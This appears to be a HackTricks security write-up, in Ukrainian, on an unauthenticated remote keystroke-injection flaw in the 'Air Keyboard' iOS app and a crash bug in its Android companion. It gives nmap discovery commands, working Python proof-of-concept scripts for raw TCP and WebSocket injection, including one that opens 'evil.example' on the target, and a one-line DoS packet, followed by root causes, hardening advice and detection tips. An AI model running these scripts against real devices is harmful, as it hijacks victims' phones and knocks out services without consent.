Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
TL;DR
iOS версія комерційного “Air Keyboard” додатку (App Store ID 6463187929) відкриває локальну мережеву службу, яка приймає кадри натискань клавіш без будь-якої аутентифікації або перевірки походження. В залежності від встановленої версії служба є:
- ≤ 1.0.4 – сирий TCP слухач на порті 8888, який очікує заголовок довжини 2 байти, за яким слідує device-id та ASCII навантаження.
- ≥ 1.0.5 (червень 2025) – WebSocket слухач на тому ж порту (8888), який парсить JSON ключі, такі як
{"type":1,"text":"…"}
.
Будь-який пристрій в тій же Wi-Fi / підмережі може впроваджувати довільний ввід з клавіатури в телефон жертви, досягаючи повного віддаленого захоплення взаємодії. Супутня Android версія слухає на порті 55535. Вона виконує слабкий AES-ECB хендшейк, але створене сміття все ще викликає некероване виключення всередині OpenSSL, що призводить до аварійного завершення фонової служби (DoS).
Уразливість досі не виправлена на момент написання (липень 2025), і додаток залишається доступним в App Store.
1. Виявлення служби
Скануйте локальну мережу та шукайте два фіксовані порти, які використовуються додатками:
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
На пристроях Android ви можете локально визначити відповідний пакет:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
На jailbroken iOS ви можете зробити щось подібне до lsof -i -nP | grep LISTEN | grep 8888
.
2. Протокольні деталі (iOS)
2.1 Спадковий (≤ 1.0.4) – користувацькі бінарні фрейми
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
Заявлена довжина включає байт device_id
але не два байти заголовка.
2.2 Поточна (≥ 1.0.5) – JSON через WebSocket
Версія 1.0.5 безшумно перейшла на WebSockets, зберігаючи номер порту незмінним. Мінімальний натиск клавіші виглядає так:
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
Не потрібен жоден хендшейк, токен або підпис – перший JSON об'єкт вже викликає подію UI.
3. Експлуатація PoC
3.1 Цілеві ≤ 1.0.4 (сирий TCP)
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
3.2 Цілевказування ≥ 1.0.5 (WebSocket)
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
Будь-який друкований ASCII — включаючи переводи рядків, табуляції та більшість спеціальних клавіш — може бути надісланий, надаючи зловмиснику таку ж силу, як і фізичний ввід користувача: запуск додатків, надсилання IM, відкриття шкідливих URL, перемикання налаштувань тощо.
4. Android Companion – Відмова в обслуговуванні
Android порт (55535) очікує 4-символьний пароль, зашифрований за допомогою жорстко закодованого AES-128-ECB ключа, за яким слідує випадковий nonce. Помилки парсингу піднімаються до AES_decrypt()
і не перехоплюються, що призводить до завершення потоку прослуховування. Один неправильно сформований пакет, отже, достатній, щоб утримувати законних користувачів відключеними, поки процес не буде перезапущено.
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. Супутні додатки – Повторювана антипатерн
Air Keyboard не є ізольованим випадком. Інші мобільні утиліти “віддалена клавіатура/миша” мають ту ж саму вразливість:
- Telepad ≤ 1.0.7 – CVE-2022-45477/78 дозволяє неавтентифіковане виконання команд та ведення журналу клавіш у відкритому тексті.
- PC Keyboard ≤ 30 – CVE-2022-45479/80 неавтентифіковане RCE та перехоплення трафіку.
- Lazy Mouse ≤ 2.0.1 – CVE-2022-45481/82/83 за замовчуванням без пароля, слабкий PIN брутфорс та витік у відкритому тексті.
Ці випадки підкреслюють систематичне нехтування мережевими поверхнями атаки на мобільних додатках.
6. Корінні причини
- Відсутність перевірок походження / цілісності на вхідних кадрах (iOS).
- Неправильне використання криптографії (статичний ключ, ECB, відсутня перевірка довжини) та відсутність обробки виключень (Android).
- Право доступу до локальної мережі, надане користувачем ≠ безпека – iOS запитує згоду на виконання LAN-трафіку, але це не замінює належну автентифікацію.
7. Укріплення та захисні заходи
Рекомендації для розробників:
- Прив'язати слухача до
127.0.0.1
та тунелювати через mTLS або Noise XX, якщо потрібен віддалений контроль. - Виводити секрети на пристрій під час onboarding (наприклад, QR-код або PIN для спарювання) та забезпечити взаємну автентифікацію перед обробкою введення.
- Прийняти Apple Network Framework з NWListener + TLS замість сирих сокетів.
- Реалізувати перевірки цілісності з префіксом довжини та структуровану обробку виключень під час розшифрування або декодування кадрів.
Швидкі виграші для Blue-/Red-Team:
- Мережеве полювання:
sudo nmap -n -p 8888,55535 --open 192.168.0.0/16
або фільтр Wiresharktcp.port == 8888
. - Перевірка в реальному часі: скрипт Frida, що підключає
socket()
/NWConnection
для переліку несподіваних слухачів. - Звіт про конфіденційність додатків iOS (Налаштування ▸ Конфіденційність та безпека ▸ Звіт про конфіденційність додатків) підкреслює додатки, які контактують з LAN-адресами – корисно для виявлення зловмисних сервісів.
- Мобільні EDR можуть додати прості правила Yara-L для JSON-ключів
"selectionStart"
,"selectionEnd"
всередині відкритих TCP-пейлоадів на порту 8888.
Лист для виявлення (Pentesters)
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
Посилання
- Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection
- Mobile-Hacker Blog (17 Jul 2025) – Уразливість віддаленого введення в Air Keyboard iOS App досі не виправлена
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.